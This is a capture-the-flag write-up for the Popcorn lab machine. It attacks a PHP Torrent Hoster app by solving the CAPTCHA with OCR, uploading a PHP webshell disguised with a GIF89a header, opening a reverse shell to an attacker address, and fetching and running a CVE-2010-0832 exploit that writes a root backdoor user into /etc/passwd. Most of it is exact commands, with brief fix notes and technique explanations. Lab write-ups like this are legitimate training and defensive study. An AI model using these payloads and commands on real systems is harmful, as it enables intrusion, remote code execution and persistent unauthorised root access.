Popcorn
Summary
I scanned the host, found only SSH (port 22, OpenSSH 5.1p1) and an Apache web server (port 80) running a PHP Torrent Hoster application. Registration was gated by an image CAPTCHA, which was bypassed automatically using OCR software.
Once authenticated, I uploaded a valid .torrent file to create a record, then abused a weakly validated 'screenshot' upload endpoint: prepending a GIF89a magic-byte header to a PHP webshell tricked the image check, and the server stored the file with a .php extension inside the web root — giving immediate remote code execution as the www-data service account. The user flag was read directly.
For root, I matched the running kernel (Ubuntu 9.10, 2.6.31-14-generic-pae) to a publicly known PAM MOTD race-condition exploit (CVE-2010-0832), staged it on the target, and triggered it to write a new UID-0 backdoor user ([REDACTED: recovered credential]) into /etc/passwd. I then SSH'd in as that user — forcing legacy cryptographic negotiation required by the ancient SSH daemon — and captured the root flag, achieving complete system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -p22,80 -sV -Pn $TARGETcurl --resolve popcorn.htb:80:$TARGET http://popcorn.htb/torrent/FixUpgrade end-of-life server software and harden the SSH cryptographic configurationHigh
Exact commands 4
tmp=$(mktemp -d) && curl --resolve popcorn.htb:80:$TARGET -c $tmp/cjar 'http://popcorn.htb/torrent/users/index.php?mode=register' >/dev/nullcurl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -o $tmp/captcha.png 'http://popcorn.htb/torrent/captcha.php'code=$(tesseract $tmp/captcha.png stdout --psm 7 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 2>/dev/null | tr -d ' ')curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -L --data-urlencode 'username=codex1' --data-urlencode "password=$PASSWORD" --data-urlencode 'email=codex1@popcorn.htb' --data-urlencode "captcha=$code" 'http://popcorn.htb/torrent/users/index.php?mode=register'FixReplace the OCR-solvable CAPTCHA with a modern bot-resistant controlMedium
Exact commands 3
curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -F 'torrent=@sample.torrent;type=application/x-bittorrent' -F 'name=test' -F 'category=0' 'http://popcorn.htb/torrent/torrents.php?mode=upload'printf 'GIF89a\n<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' > cdx.phpcurl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -F 'file=@cdx.php;type=image/gif' 'http://popcorn.htb/torrent/upload_file.php?mode=upload&id=[REDACTED: sensitive value]'FixEnforce true server-side image validation and prevent execution of uploaded filesCritical
Exact commands 3
curl -sS --resolve popcorn.htb:80:$TARGET 'http://popcorn.htb/torrent/upload/[REDACTED: sensitive value]'nc -lvnp 4444curl -sS --resolve popcorn.htb:80:$TARGET "http://popcorn.htb/torrent/upload/[REDACTED: sensitive value]$ATTACKER_IP%2F4444%200%3E%261%27"Exact commands 2
find /home -name user.txt -exec cat {} \; 2>/dev/nullcat /home/george/user.txtExact commands 4
python3 -m http.server 9001cd /tmp && curl -fsS http://$ATTACKER_IP:9001/14339.sh -o 14339.sh && chmod +x 14339.shHOME=/var/www bash /tmp/14339.shgrep $PASSWORD2 /etc/passwdFixPatch CVE-2010-0832 and upgrade the end-of-life operating systemCritical
Exact commands 1
sshpass -p $PASSWORD2 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 -o HostKeyAlgorithms=ssh-rsa -o PubkeyAcceptedAlgorithms=ssh-rsa -o KexAlgorithms=diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 toor@$TARGET 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.2.12 |